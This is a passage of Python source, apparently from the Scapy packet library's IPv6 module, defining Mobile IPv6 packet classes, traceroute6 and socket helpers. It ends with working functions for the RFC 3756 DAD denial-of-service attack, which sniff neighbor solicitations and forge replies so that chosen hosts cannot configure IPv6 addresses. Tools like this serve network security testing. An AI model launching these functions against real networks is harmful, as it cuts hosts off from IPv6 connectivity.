2850 fields_desc = [ByteEnumField("type", 155, icmp6types),
2851 ByteEnumField("code", 0, rplcodes),
2852 XShortField("cksum", None)]
2853 overload_fields = {IPv6: {"nh": 58, "dst": "ff02::1a"}}
2856#############################################################################
2857#############################################################################
2858# Mobile IPv6 (RFC 3775) and Nemo (RFC 3963) #
2859#############################################################################
2860#############################################################################
2862# Mobile IPv6 ICMPv6 related classes
2864class ICMPv6HAADRequest(_ICMPv6):
2865 name = 'ICMPv6 Home Agent Address Discovery Request'
2866 fields_desc = [ByteEnumField("type", 144, icmp6types),
2867 ByteField("code", 0),
2868 XShortField("cksum", None),
2869 XShortField("id", None),
2870 BitEnumField("R", 1, 1, {1: 'MR'}),
2871 XBitField("res", 0, 15)]
2873 def hashret(self):
2874 return struct.pack("!H", self.id) + self.payload.hashret()
2877class ICMPv6HAADReply(_ICMPv6):
2878 name = 'ICMPv6 Home Agent Address Discovery Reply'
2879 fields_desc = [ByteEnumField("type", 145, icmp6types),
2880 ByteField("code", 0),
2881 XShortField("cksum", None),
2882 XShortField("id", None),
2883 BitEnumField("R", 1, 1, {1: 'MR'}),
2884 XBitField("res", 0, 15),
2885 IP6ListField('addresses', None)]
2887 def hashret(self):
2888 return struct.pack("!H", self.id) + self.payload.hashret()
2890 def answers(self, other):
2891 if not isinstance(other, ICMPv6HAADRequest):
2892 return 0
2893 return self.id == other.id
2896class ICMPv6MPSol(_ICMPv6):
2897 name = 'ICMPv6 Mobile Prefix Solicitation'
2898 fields_desc = [ByteEnumField("type", 146, icmp6types),
2899 ByteField("code", 0),
2900 XShortField("cksum", None),
2901 XShortField("id", None),
2902 XShortField("res", 0)]
2904 def _hashret(self):
2905 return struct.pack("!H", self.id)
2908class ICMPv6MPAdv(_ICMPv6NDGuessPayload, _ICMPv6):
2909 name = 'ICMPv6 Mobile Prefix Advertisement'
2910 fields_desc = [ByteEnumField("type", 147, icmp6types),
2911 ByteField("code", 0),
2912 XShortField("cksum", None),
2913 XShortField("id", None),
2914 BitEnumField("flags", 2, 2, {2: 'M', 1: 'O'}),
2915 XBitField("res", 0, 14)]
2917 def hashret(self):
2918 return struct.pack("!H", self.id)
2920 def answers(self, other):
2921 return isinstance(other, ICMPv6MPSol)
2923# Mobile IPv6 Options classes
2926_mobopttypes = {2: "Binding Refresh Advice",
2927 3: "Alternate Care-of Address",
2928 4: "Nonce Indices",
2929 5: "Binding Authorization Data",
2930 6: "Mobile Network Prefix (RFC3963)",
2931 7: "Link-Layer Address (RFC4068)",
2932 8: "Mobile Node Identifier (RFC4283)",
2933 9: "Mobility Message Authentication (RFC4285)",
2934 10: "Replay Protection (RFC4285)",
2935 11: "CGA Parameters Request (RFC4866)",
2936 12: "CGA Parameters (RFC4866)",
2937 13: "Signature (RFC4866)",
2938 14: "Home Keygen Token (RFC4866)",
2939 15: "Care-of Test Init (RFC4866)",
2940 16: "Care-of Test (RFC4866)"}
2943class _MIP6OptAlign(Packet):
2944 """ Mobile IPv6 options have alignment requirements of the form x*n+y.
2945 This class is inherited by all MIPv6 options to help in computing the
2946 required Padding for that option, i.e. the need for a Pad1 or PadN
2947 option before it. They only need to provide x and y as class
2948 parameters. (x=0 and y=0 are used when no alignment is required)"""
2950 __slots__ = ["x", "y"]
2952 def alignment_delta(self, curpos):
2953 x = self.x
2954 y = self.y
2955 if x == 0 and y == 0:
2956 return 0
2957 delta = x * ((curpos - y + x - 1) // x) + y - curpos
2958 return delta
2960 def extract_padding(self, p):
2961 return b"", p
2964class MIP6OptBRAdvice(_MIP6OptAlign):
2965 name = 'Mobile IPv6 Option - Binding Refresh Advice'
2966 fields_desc = [ByteEnumField('otype', 2, _mobopttypes),
2967 ByteField('olen', 2),
2968 ShortField('rinter', 0)]
2969 x = 2
2970 y = 0 # alignment requirement: 2n
2973class MIP6OptAltCoA(_MIP6OptAlign):
2974 name = 'MIPv6 Option - Alternate Care-of Address'
2975 fields_desc = [ByteEnumField('otype', 3, _mobopttypes),
2976 ByteField('olen', 16),
2977 IP6Field("acoa", "::")]
2978 x = 8
2979 y = 6 # alignment requirement: 8n+6
2982class MIP6OptNonceIndices(_MIP6OptAlign):
2983 name = 'MIPv6 Option - Nonce Indices'
2984 fields_desc = [ByteEnumField('otype', 4, _mobopttypes),
2985 ByteField('olen', 16),
2986 ShortField('hni', 0),
2987 ShortField('coni', 0)]
2988 x = 2
2989 y = 0 # alignment requirement: 2n
2992class MIP6OptBindingAuthData(_MIP6OptAlign):
2993 name = 'MIPv6 Option - Binding Authorization Data'
2994 fields_desc = [ByteEnumField('otype', 5, _mobopttypes),
2995 ByteField('olen', 16),
2996 BitField('authenticator', 0, 96)]
2997 x = 8
2998 y = 2 # alignment requirement: 8n+2
3001class MIP6OptMobNetPrefix(_MIP6OptAlign): # NEMO - RFC 3963
3002 name = 'NEMO Option - Mobile Network Prefix'
3003 fields_desc = [ByteEnumField("otype", 6, _mobopttypes),
3004 ByteField("olen", 18),
3005 ByteField("reserved", 0),
3006 ByteField("plen", 64),
3007 IP6Field("prefix", "::")]
3008 x = 8
3009 y = 4 # alignment requirement: 8n+4
3012class MIP6OptLLAddr(_MIP6OptAlign): # Sect 6.4.4 of RFC 4068
3013 name = "MIPv6 Option - Link-Layer Address (MH-LLA)"
3014 fields_desc = [ByteEnumField("otype", 7, _mobopttypes),
3015 ByteField("olen", 7),
3016 ByteEnumField("ocode", 2, _rfc4068_lla_optcode),
3017 ByteField("pad", 0),
3018 MACField("lla", ETHER_ANY)] # Only support ethernet
3019 x = 0
3020 y = 0 # alignment requirement: none
3023class MIP6OptMNID(_MIP6OptAlign): # RFC 4283
3024 name = "MIPv6 Option - Mobile Node Identifier"
3025 fields_desc = [ByteEnumField("otype", 8, _mobopttypes),
3026 FieldLenField("olen", None, length_of="id", fmt="B",
3027 adjust=lambda pkt, x: x + 1),
3028 ByteEnumField("subtype", 1, {1: "NAI"}),
3029 StrLenField("id", "",
3030 length_from=lambda pkt: pkt.olen - 1)]
3031 x = 0
3032 y = 0 # alignment requirement: none
3034# We only support decoding and basic build. Automatic HMAC computation is
3035# too much work for our current needs. It is left to the user (I mean ...
3036# you). --arno
3039class MIP6OptMsgAuth(_MIP6OptAlign): # RFC 4285 (Sect. 5)
3040 name = "MIPv6 Option - Mobility Message Authentication"
3041 fields_desc = [ByteEnumField("otype", 9, _mobopttypes),
3042 FieldLenField("olen", None, length_of="authdata", fmt="B",
3043 adjust=lambda pkt, x: x + 5),
3044 ByteEnumField("subtype", 1, {1: "MN-HA authentication mobility option", # noqa: E501
3045 2: "MN-AAA authentication mobility option"}), # noqa: E501
3046 IntField("mspi", None),
3047 StrLenField("authdata", "A" * 12,
3048 length_from=lambda pkt: pkt.olen - 5)]
3049 x = 4
3050 y = 1 # alignment requirement: 4n+1
3052# Extracted from RFC 1305 (NTP) :
3053# NTP timestamps are represented as a 64-bit unsigned fixed-point number,
3054# in seconds relative to 0h on 1 January 1900. The integer part is in the
3055# first 32 bits and the fraction part in the last 32 bits.
3058class NTPTimestampField(LongField):
3059 def i2repr(self, pkt, x):
3060 if x < ((50 * 31536000) << 32):
3061 return "Some date a few decades ago (%d)" % x
3063 # delta from epoch (= (1900, 1, 1, 0, 0, 0, 5, 1, 0)) to
3064 # January 1st 1970 :
3065 delta = -2209075761
3066 i = int(x >> 32)
3067 j = float(x & 0xffffffff) * 2.0**-32
3068 res = i + j + delta
3069 t = strftime("%a, %d %b %Y %H:%M:%S +0000", gmtime(res))
3071 return "%s (%d)" % (t, x)
3074class MIP6OptReplayProtection(_MIP6OptAlign): # RFC 4285 (Sect. 6)
3075 name = "MIPv6 option - Replay Protection"
3076 fields_desc = [ByteEnumField("otype", 10, _mobopttypes),
3077 ByteField("olen", 8),
3078 NTPTimestampField("timestamp", 0)]
3079 x = 8
3080 y = 2 # alignment requirement: 8n+2
3083class MIP6OptCGAParamsReq(_MIP6OptAlign): # RFC 4866 (Sect. 5.6)
3084 name = "MIPv6 option - CGA Parameters Request"
3085 fields_desc = [ByteEnumField("otype", 11, _mobopttypes),
3086 ByteField("olen", 0)]
3087 x = 0
3088 y = 0 # alignment requirement: none
3090# XXX TODO: deal with CGA param fragmentation and build of defragmented
3091# XXX version. Passing of a big CGAParam structure should be
3092# XXX simplified. Make it hold packets, by the way --arno
3095class MIP6OptCGAParams(_MIP6OptAlign): # RFC 4866 (Sect. 5.1)
3096 name = "MIPv6 option - CGA Parameters"
3097 fields_desc = [ByteEnumField("otype", 12, _mobopttypes),
3098 FieldLenField("olen", None, length_of="cgaparams", fmt="B"),
3099 StrLenField("cgaparams", "",
3100 length_from=lambda pkt: pkt.olen)]
3101 x = 0
3102 y = 0 # alignment requirement: none
3105class MIP6OptSignature(_MIP6OptAlign): # RFC 4866 (Sect. 5.2)
3106 name = "MIPv6 option - Signature"
3107 fields_desc = [ByteEnumField("otype", 13, _mobopttypes),
3108 FieldLenField("olen", None, length_of="sig", fmt="B"),
3109 StrLenField("sig", "",
3110 length_from=lambda pkt: pkt.olen)]
3111 x = 0
3112 y = 0 # alignment requirement: none
3115class MIP6OptHomeKeygenToken(_MIP6OptAlign): # RFC 4866 (Sect. 5.3)
3116 name = "MIPv6 option - Home Keygen Token"
3117 fields_desc = [ByteEnumField("otype", 14, _mobopttypes),
3118 FieldLenField("olen", None, length_of="hkt", fmt="B"),
3119 StrLenField("hkt", "",
3120 length_from=lambda pkt: pkt.olen)]
3121 x = 0
3122 y = 0 # alignment requirement: none
3125class MIP6OptCareOfTestInit(_MIP6OptAlign): # RFC 4866 (Sect. 5.4)
3126 name = "MIPv6 option - Care-of Test Init"
3127 fields_desc = [ByteEnumField("otype", 15, _mobopttypes),
3128 ByteField("olen", 0)]
3129 x = 0
3130 y = 0 # alignment requirement: none
3133class MIP6OptCareOfTest(_MIP6OptAlign): # RFC 4866 (Sect. 5.5)
3134 name = "MIPv6 option - Care-of Test"
3135 fields_desc = [ByteEnumField("otype", 16, _mobopttypes),
3136 FieldLenField("olen", None, length_of="cokt", fmt="B"),
3137 StrLenField("cokt", b'\x00' * 8,
3138 length_from=lambda pkt: pkt.olen)]
3139 x = 0
3140 y = 0 # alignment requirement: none
3143class MIP6OptUnknown(_MIP6OptAlign):
3144 name = 'Scapy6 - Unknown Mobility Option'
3145 fields_desc = [ByteEnumField("otype", 6, _mobopttypes),
3146 FieldLenField("olen", None, length_of="odata", fmt="B"),
3147 StrLenField("odata", "",
3148 length_from=lambda pkt: pkt.olen)]
3149 x = 0
3150 y = 0 # alignment requirement: none
3152 @classmethod
3153 def dispatch_hook(cls, _pkt=None, *_, **kargs):
3154 if _pkt:
3155 o = _pkt[0] # Option type
3156 if o in moboptcls:
3157 return moboptcls[o]
3158 return cls
3161moboptcls = {0: Pad1,
3162 1: PadN,
3163 2: MIP6OptBRAdvice,
3164 3: MIP6OptAltCoA,
3165 4: MIP6OptNonceIndices,
3166 5: MIP6OptBindingAuthData,
3167 6: MIP6OptMobNetPrefix,
3168 7: MIP6OptLLAddr,
3169 8: MIP6OptMNID,
3170 9: MIP6OptMsgAuth,
3171 10: MIP6OptReplayProtection,
3172 11: MIP6OptCGAParamsReq,
3173 12: MIP6OptCGAParams,
3174 13: MIP6OptSignature,
3175 14: MIP6OptHomeKeygenToken,
3176 15: MIP6OptCareOfTestInit,
3177 16: MIP6OptCareOfTest}
3180# Main Mobile IPv6 Classes
3182mhtypes = {0: 'BRR',
3183 1: 'HoTI',
3184 2: 'CoTI',
3185 3: 'HoT',
3186 4: 'CoT',
3187 5: 'BU',
3188 6: 'BA',
3189 7: 'BE',
3190 8: 'Fast BU',
3191 9: 'Fast BA',
3192 10: 'Fast NA'}
3194# From http://www.iana.org/assignments/mobility-parameters
3195bastatus = {0: 'Binding Update accepted',
3196 1: 'Accepted but prefix discovery necessary',
3197 128: 'Reason unspecified',
3198 129: 'Administratively prohibited',
3199 130: 'Insufficient resources',
3200 131: 'Home registration not supported',
3201 132: 'Not home subnet',
3202 133: 'Not home agent for this mobile node',
3203 134: 'Duplicate Address Detection failed',
3204 135: 'Sequence number out of window',
3205 136: 'Expired home nonce index',
3206 137: 'Expired care-of nonce index',
3207 138: 'Expired nonces',
3208 139: 'Registration type change disallowed',
3209 140: 'Mobile Router Operation not permitted',
3210 141: 'Invalid Prefix',
3211 142: 'Not Authorized for Prefix',
3212 143: 'Forwarding Setup failed (prefixes missing)',
3213 144: 'MIPV6-ID-MISMATCH',
3214 145: 'MIPV6-MESG-ID-REQD',
3215 146: 'MIPV6-AUTH-FAIL',
3216 147: 'Permanent home keygen token unavailable',
3217 148: 'CGA and signature verification failed',
3218 149: 'Permanent home keygen token exists',
3219 150: 'Non-null home nonce index expected'}
3222class _MobilityHeader(Packet):
3223 name = 'Dummy IPv6 Mobility Header'
3224 overload_fields = {IPv6: {"nh": 135}}
3226 def post_build(self, p, pay):
3227 p += pay
3228 tmp_len = self.len
3229 if self.len is None:
3230 tmp_len = (len(p) - 8) // 8
3231 p = p[:1] + struct.pack("B", tmp_len) + p[2:]
3232 if self.cksum is None:
3233 cksum = in6_chksum(135, self.underlayer, p)
3234 else:
3235 cksum = self.cksum
3236 p = p[:4] + struct.pack("!H", cksum) + p[6:]
3237 return p
3240class MIP6MH_Generic(_MobilityHeader): # Mainly for decoding of unknown msg
3241 name = "IPv6 Mobility Header - Generic Message"
3242 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
3243 ByteField("len", None),
3244 ByteEnumField("mhtype", None, mhtypes),
3245 ByteField("res", None),
3246 XShortField("cksum", None),
3247 StrLenField("msg", b"\x00" * 2,
3248 length_from=lambda pkt: 8 * pkt.len - 6)]
3251class MIP6MH_BRR(_MobilityHeader):
3252 name = "IPv6 Mobility Header - Binding Refresh Request"
3253 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
3254 ByteField("len", None),
3255 ByteEnumField("mhtype", 0, mhtypes),
3256 ByteField("res", None),
3257 XShortField("cksum", None),
3258 ShortField("res2", None),
3259 _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501
3260 _OptionsField("options", [], MIP6OptUnknown, 8,
3261 length_from=lambda pkt: 8 * pkt.len)]
3262 overload_fields = {IPv6: {"nh": 135}}
3264 def hashret(self):
3265 # Hack: BRR, BU and BA have the same hashret that returns the same
3266 # value b"\x00\x08\x09" (concatenation of mhtypes). This is
3267 # because we need match BA with BU and BU with BRR. --arno
3268 return b"\x00\x08\x09"
3271class MIP6MH_HoTI(_MobilityHeader):
3272 name = "IPv6 Mobility Header - Home Test Init"
3273 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
3274 ByteField("len", None),
3275 ByteEnumField("mhtype", 1, mhtypes),
3276 ByteField("res", None),
3277 XShortField("cksum", None),
3278 StrFixedLenField("reserved", b"\x00" * 2, 2),
3279 StrFixedLenField("cookie", b"\x00" * 8, 8),
3280 _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501
3281 _OptionsField("options", [], MIP6OptUnknown, 16,
3282 length_from=lambda pkt: 8 * (pkt.len - 1))]
3283 overload_fields = {IPv6: {"nh": 135}}
3285 def hashret(self):
3286 return bytes_encode(self.cookie)
3289class MIP6MH_CoTI(MIP6MH_HoTI):
3290 name = "IPv6 Mobility Header - Care-of Test Init"
3291 mhtype = 2
3293 def hashret(self):
3294 return bytes_encode(self.cookie)
3297class MIP6MH_HoT(_MobilityHeader):
3298 name = "IPv6 Mobility Header - Home Test"
3299 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
3300 ByteField("len", None),
3301 ByteEnumField("mhtype", 3, mhtypes),
3302 ByteField("res", None),
3303 XShortField("cksum", None),
3304 ShortField("index", None),
3305 StrFixedLenField("cookie", b"\x00" * 8, 8),
3306 StrFixedLenField("token", b"\x00" * 8, 8),
3307 _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501
3308 _OptionsField("options", [], MIP6OptUnknown, 24,
3309 length_from=lambda pkt: 8 * (pkt.len - 2))]
3310 overload_fields = {IPv6: {"nh": 135}}
3312 def hashret(self):
3313 return bytes_encode(self.cookie)
3315 def answers(self, other):
3316 if (isinstance(other, MIP6MH_HoTI) and
3317 self.cookie == other.cookie):
3318 return 1
3319 return 0
3322class MIP6MH_CoT(MIP6MH_HoT):
3323 name = "IPv6 Mobility Header - Care-of Test"
3324 mhtype = 4
3326 def hashret(self):
3327 return bytes_encode(self.cookie)
3329 def answers(self, other):
3330 if (isinstance(other, MIP6MH_CoTI) and
3331 self.cookie == other.cookie):
3332 return 1
3333 return 0
3336class LifetimeField(ShortField):
3337 def i2repr(self, pkt, x):
3338 return "%d sec" % (4 * x)
3341class MIP6MH_BU(_MobilityHeader):
3342 name = "IPv6 Mobility Header - Binding Update"
3343 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
3344 ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) # noqa: E501
3345 ByteEnumField("mhtype", 5, mhtypes),
3346 ByteField("res", None),
3347 XShortField("cksum", None),
3348 XShortField("seq", None), # TODO: ShortNonceField
3349 FlagsField("flags", "KHA", 7, "PRMKLHA"),
3350 XBitField("reserved", 0, 9),
3351 LifetimeField("mhtime", 3), # unit == 4 seconds
3352 _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501
3353 _OptionsField("options", [], MIP6OptUnknown, 12,
3354 length_from=lambda pkt: 8 * pkt.len - 4)]
3355 overload_fields = {IPv6: {"nh": 135}}
3357 def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret()
3358 return b"\x00\x08\x09"
3360 def answers(self, other):
3361 if isinstance(other, MIP6MH_BRR):
3362 return 1
3363 return 0
3366class MIP6MH_BA(_MobilityHeader):
3367 name = "IPv6 Mobility Header - Binding ACK"
3368 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
3369 ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) # noqa: E501
3370 ByteEnumField("mhtype", 6, mhtypes),
3371 ByteField("res", None),
3372 XShortField("cksum", None),
3373 ByteEnumField("status", 0, bastatus),
3374 FlagsField("flags", "K", 3, "PRK"),
3375 XBitField("res2", None, 5),
3376 XShortField("seq", None), # TODO: ShortNonceField
3377 XShortField("mhtime", 0), # unit == 4 seconds
3378 _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501
3379 _OptionsField("options", [], MIP6OptUnknown, 12,
3380 length_from=lambda pkt: 8 * pkt.len - 4)]
3381 overload_fields = {IPv6: {"nh": 135}}
3383 def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret()
3384 return b"\x00\x08\x09"
3386 def answers(self, other):
3387 if (isinstance(other, MIP6MH_BU) and
3388 other.mhtype == 5 and
3389 self.mhtype == 6 and
3390 other.flags & 0x1 and # Ack request flags is set
3391 self.seq == other.seq):
3392 return 1
3393 return 0
3396_bestatus = {1: 'Unknown binding for Home Address destination option',
3397 2: 'Unrecognized MH Type value'}
3399# TODO: match Binding Error to its stimulus
3402class MIP6MH_BE(_MobilityHeader):
3403 name = "IPv6 Mobility Header - Binding Error"
3404 fields_desc = [ByteEnumField("nh", 59, ipv6nh),
3405 ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) # noqa: E501
3406 ByteEnumField("mhtype", 7, mhtypes),
3407 ByteField("res", 0),
3408 XShortField("cksum", None),
3409 ByteEnumField("status", 0, _bestatus),
3410 ByteField("reserved", 0),
3411 IP6Field("ha", "::"),
3412 _OptionsField("options", [], MIP6OptUnknown, 24,
3413 length_from=lambda pkt: 8 * (pkt.len - 2))]
3414 overload_fields = {IPv6: {"nh": 135}}
3417_mip6_mhtype2cls = {0: MIP6MH_BRR,
3418 1: MIP6MH_HoTI,
3419 2: MIP6MH_CoTI,
3420 3: MIP6MH_HoT,
3421 4: MIP6MH_CoT,
3422 5: MIP6MH_BU,
3423 6: MIP6MH_BA,
3424 7: MIP6MH_BE}
3427#############################################################################
3428#############################################################################
3429# Traceroute6 #
3430#############################################################################
3431#############################################################################
3433class AS_resolver6(AS_resolver_riswhois):
3434 def _resolve_one(self, ip):
3435 """
3436 overloaded version to provide a Whois resolution on the
3437 embedded IPv4 address if the address is 6to4 or Teredo.
3438 Otherwise, the native IPv6 address is passed.
3439 """
3441 if in6_isaddr6to4(ip): # for 6to4, use embedded @
3442 tmp = inet_pton(socket.AF_INET6, ip)
3443 addr = inet_ntop(socket.AF_INET, tmp[2:6])
3444 elif in6_isaddrTeredo(ip): # for Teredo, use mapped address
3445 addr = teredoAddrExtractInfo(ip)[2]
3446 else:
3447 addr = ip
3449 _, asn, desc = AS_resolver_riswhois._resolve_one(self, addr)
3451 if asn.startswith("AS"):
3452 try:
3453 asn = int(asn[2:])
3454 except ValueError:
3455 pass
3457 return ip, asn, desc
3460class TracerouteResult6(TracerouteResult):
3461 __slots__ = []
3463 def show(self):
3464 return self.make_table(lambda s, r: (s.sprintf("%-42s,IPv6.dst%:{TCP:tcp%TCP.dport%}{UDP:udp%UDP.dport%}{ICMPv6EchoRequest:IER}"), # TODO: ICMPv6 ! # noqa: E501
3465 s.hlim,
3466 r.sprintf("%-42s,IPv6.src% {TCP:%TCP.flags%}" + # noqa: E501
3467 "{ICMPv6DestUnreach:%ir,type%}{ICMPv6PacketTooBig:%ir,type%}" + # noqa: E501
3468 "{ICMPv6TimeExceeded:%ir,type%}{ICMPv6ParamProblem:%ir,type%}" + # noqa: E501
3469 "{ICMPv6EchoReply:%ir,type%}"))) # noqa: E501
3471 def get_trace(self):
3472 trace = {}
3474 for s, r in self.res:
3475 if IPv6 not in s:
3476 continue
3477 d = s[IPv6].dst
3478 if d not in trace:
3479 trace[d] = {}
3481 t = not (ICMPv6TimeExceeded in r or
3482 ICMPv6DestUnreach in r or
3483 ICMPv6PacketTooBig in r or
3484 ICMPv6ParamProblem in r)
3486 trace[d][s[IPv6].hlim] = r[IPv6].src, t
3488 for k in trace.values():
3489 try:
3490 m = min(x for x, y in k.items() if y[1])
3491 except ValueError:
3492 continue
3493 for li in list(k): # use list(): k is modified in the loop
3494 if li > m:
3495 del k[li]
3497 return trace
3499 def graph(self, ASres=AS_resolver6(), **kargs):
3500 TracerouteResult.graph(self, ASres=ASres, **kargs)
3503@conf.commands.register
3504def traceroute6(target, dport=80, minttl=1, maxttl=30, sport=RandShort(),
3505 l4=None, timeout=2, verbose=None, **kargs):
3506 """Instant TCP traceroute using IPv6
3507 traceroute6(target, [maxttl=30], [dport=80], [sport=80]) -> None
3508 """
3509 if verbose is None:
3510 verbose = conf.verb
3512 if l4 is None:
3513 a, b = sr(IPv6(dst=target, hlim=(minttl, maxttl)) / TCP(seq=RandInt(), sport=sport, dport=dport), # noqa: E501
3514 timeout=timeout, filter="icmp6 or tcp", verbose=verbose, **kargs) # noqa: E501
3515 else:
3516 a, b = sr(IPv6(dst=target, hlim=(minttl, maxttl)) / l4,
3517 timeout=timeout, verbose=verbose, **kargs)
3519 a = TracerouteResult6(a.res)
3521 if verbose:
3522 a.show()
3524 return a, b
3526#############################################################################
3527#############################################################################
3528# Sockets #
3529#############################################################################
3530#############################################################################
3533if not WINDOWS:
3534 from scapy.supersocket import L3RawSocket
3536 class L3RawSocket6(L3RawSocket):
3537 def __init__(self, type=ETH_P_IPV6, filter=None, iface=None, promisc=None, nofilter=0): # noqa: E501
3538 # NOTE: if fragmentation is needed, it will be done by the kernel (RFC 2292) # noqa: E501
3539 self.outs = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # noqa: E501
3540 self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) # noqa: E501
3541 self.iface = iface
3544def IPv6inIP(dst='203.178.135.36', src=None):
3545 _IPv6inIP.dst = dst
3546 _IPv6inIP.src = src
3547 if not conf.L3socket == _IPv6inIP:
3548 _IPv6inIP.cls = conf.L3socket
3549 else:
3550 del conf.L3socket
3551 return _IPv6inIP
3554class _IPv6inIP(SuperSocket):
3555 dst = '127.0.0.1'
3556 src = None
3557 cls = None
3559 def __init__(self, family=socket.AF_INET6, type=socket.SOCK_STREAM, proto=0, **args): # noqa: E501
3560 SuperSocket.__init__(self, family, type, proto)
3561 self.worker = self.cls(**args)
3563 def set(self, dst, src=None):
3564 _IPv6inIP.src = src
3565 _IPv6inIP.dst = dst
3567 def nonblock_recv(self):
3568 p = self.worker.nonblock_recv()
3569 return self._recv(p)
3571 def recv(self, x):
3572 p = self.worker.recv(x)
3573 return self._recv(p, x)
3575 def _recv(self, p, x=MTU):
3576 if p is None:
3577 return p
3578 elif isinstance(p, IP):
3579 # TODO: verify checksum
3580 if p.src == self.dst and p.proto == socket.IPPROTO_IPV6:
3581 if isinstance(p.payload, IPv6):
3582 return p.payload
3583 return p
3585 def send(self, x):
3586 return self.worker.send(IP(dst=self.dst, src=self.src, proto=socket.IPPROTO_IPV6) / x) # noqa: E501
3589#############################################################################
3590#############################################################################
3591# Neighbor Discovery Protocol Attacks #
3592#############################################################################
3593#############################################################################
3595def _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None,
3596 tgt_filter=None, reply_mac=None):
3597 """
3598 Internal generic helper accepting a specific callback as first argument,
3599 for NS or NA reply. See the two specific functions below.
3600 """
3602 def is_request(req, mac_src_filter, tgt_filter):
3603 """
3604 Check if packet req is a request
3605 """
3607 # Those simple checks are based on Section 5.4.2 of RFC 4862
3608 if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req):
3609 return 0
3611 # Get and compare the MAC address
3612 mac_src = req[Ether].src
3613 if mac_src_filter and mac_src != mac_src_filter:
3614 return 0
3616 # Source must be the unspecified address
3617 if req[IPv6].src != "::":
3618 return 0
3620 # Check destination is the link-local solicited-node multicast
3621 # address associated with target address in received NS
3622 tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
3623 if tgt_filter and tgt != tgt_filter:
3624 return 0
3625 received_snma = inet_pton(socket.AF_INET6, req[IPv6].dst)
3626 expected_snma = in6_getnsma(tgt)
3627 if received_snma != expected_snma:
3628 return 0
3630 return 1
3632 if not iface:
3633 iface = conf.iface
3635 # To prevent sniffing our own traffic
3636 if not reply_mac:
3637 reply_mac = get_if_hwaddr(iface)
3638 sniff_filter = "icmp6 and not ether src %s" % reply_mac
3640 sniff(store=0,
3641 filter=sniff_filter,
3642 lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter),
3643 prn=lambda x: reply_callback(x, reply_mac, iface),
3644 iface=iface)
3647def NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None,
3648 reply_mac=None):
3649 """
3650 Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
3651 3756. This is done by listening incoming NS messages sent from the
3652 unspecified address and sending a NS reply for the target address,
3653 leading the peer to believe that another node is also performing DAD
3654 for that address.
3656 By default, the fake NS sent to create the DoS uses:
3657 - as target address the target address found in received NS.
3658 - as IPv6 source address: the unspecified address (::).
3659 - as IPv6 destination address: the link-local solicited-node multicast
3660 address derived from the target address in received NS.
3661 - the mac address of the interface as source (or reply_mac, see below).
3662 - the multicast mac address derived from the solicited node multicast
3663 address used as IPv6 destination address.
3665 Following arguments can be used to change the behavior:
3667 iface: a specific interface (e.g. "eth0") of the system on which the
3668 DoS should be launched. If None is provided conf.iface is used.
3670 mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3671 Only NS messages received from this source will trigger replies.
3672 This allows limiting the effects of the DoS to a single target by
3673 filtering on its mac address. The default value is None: the DoS
3674 is not limited to a specific mac address.
3676 tgt_filter: Same as previous but for a specific target IPv6 address for
3677 received NS. If the target address in the NS message (not the IPv6
3678 destination address) matches that address, then a fake reply will
3679 be sent, i.e. the emitter will be a target of the DoS.
3681 reply_mac: allow specifying a specific source mac address for the reply,
3682 i.e. to prevent the use of the mac address of the interface.
3683 """
3685 def ns_reply_callback(req, reply_mac, iface):
3686 """
3687 Callback that reply to a NS by sending a similar NS
3688 """
3690 # Let's build a reply and send it
3691 mac = req[Ether].src
3692 dst = req[IPv6].dst
3693 tgt = req[ICMPv6ND_NS].tgt
3694 rep = Ether(src=reply_mac) / IPv6(src="::", dst=dst) / ICMPv6ND_NS(tgt=tgt) # noqa: E501
3695 sendp(rep, iface=iface, verbose=0)
3697 print("Reply NS for target address %s (received from %s)" % (tgt, mac))
3699 _NDP_Attack_DAD_DoS(ns_reply_callback, iface, mac_src_filter,
3700 tgt_filter, reply_mac)
3703def NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None,
3704 reply_mac=None):
3705 """
3706 Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
3707 3756. This is done by listening incoming NS messages *sent from the
3708 unspecified address* and sending a NA reply for the target address,
3709 leading the peer to believe that another node is also performing DAD
3710 for that address.
3712 By default, the fake NA sent to create the DoS uses:
3713 - as target address the target address found in received NS.
3714 - as IPv6 source address: the target address found in received NS.
3715 - as IPv6 destination address: the link-local solicited-node multicast
3716 address derived from the target address in received NS.
3717 - the mac address of the interface as source (or reply_mac, see below).
3718 - the multicast mac address derived from the solicited node multicast
3719 address used as IPv6 destination address.
3720 - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled
3721 with the mac address used as source of the NA.
3723 Following arguments can be used to change the behavior:
3725 iface: a specific interface (e.g. "eth0") of the system on which the
3726 DoS should be launched. If None is provided conf.iface is used.
3728 mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3729 Only NS messages received from this source will trigger replies.
3730 This allows limiting the effects of the DoS to a single target by
3731 filtering on its mac address. The default value is None: the DoS
3732 is not limited to a specific mac address.
3734 tgt_filter: Same as previous but for a specific target IPv6 address for
3735 received NS. If the target address in the NS message (not the IPv6
3736 destination address) matches that address, then a fake reply will
